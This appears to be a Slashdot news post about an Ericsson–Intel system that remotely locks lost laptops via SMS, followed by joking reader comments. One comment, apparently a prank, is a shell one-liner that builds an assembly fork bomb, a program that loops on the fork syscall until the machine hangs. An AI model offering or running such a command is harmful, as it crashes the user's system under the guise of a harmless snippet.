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Ericsson and Intel Offer Remote Notebook Lockdown
MojoKid writes "Ericsson and Intel have announced that they are collaborating on a way to keep your laptop's contents safe when your laptop goes MIA. Using Intel's Anti-Theft Technology — PC Protection (Intel AT-p) and Ericsson's Mobile Broadband (HSPA)
modules,
lost or stolen laptops can be remotely locked down. Similar to Lenovo's recently announced Lockdown Now PC technology, the Ericsson-Intel technology uses SMS messages sent directly to a laptop's mobile broadband chip. Once the chip receives the lock-down message, it passes it to the Intel AT-p function, which is integrated into Intel's Centrino 2 with vPro technology platform. Unlike Lenovo's anti-theft solution, the Ericsson module includes GPS functionality as well."
No problem. Laptops are worth more when you sell the parts individually rather than the whole thing.
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Foil lined laptop bags. For the modern laptop thief on the run.
Sure - just check the "Sony Battery" option.
so uhm, keep a copy somewhere secure?
That still relies on the average user not being a retard, and having the presence of mind to do so. Sorry, and that ain't happening any time soon.
Remember, the moment you design an idiot proof system, someone invents a better idiot.
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DHSS eCleanup squad to slashdot sid 08/12/12/0050255, stat! We've got ourselves a rowdy one.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
don't think anybody is going to steal the thumbdrive on a key ring which is attached to my pants, along with my laptop
The way this parses, you make it sound like your laptop is attached to your pants.
My thumbdrive lives on my keyring. It hangs from the beltloop of my pants on a carabiner, and is always right there whenever it is not in use elsewhere.
And who says slashdotters don't have any fashion sense?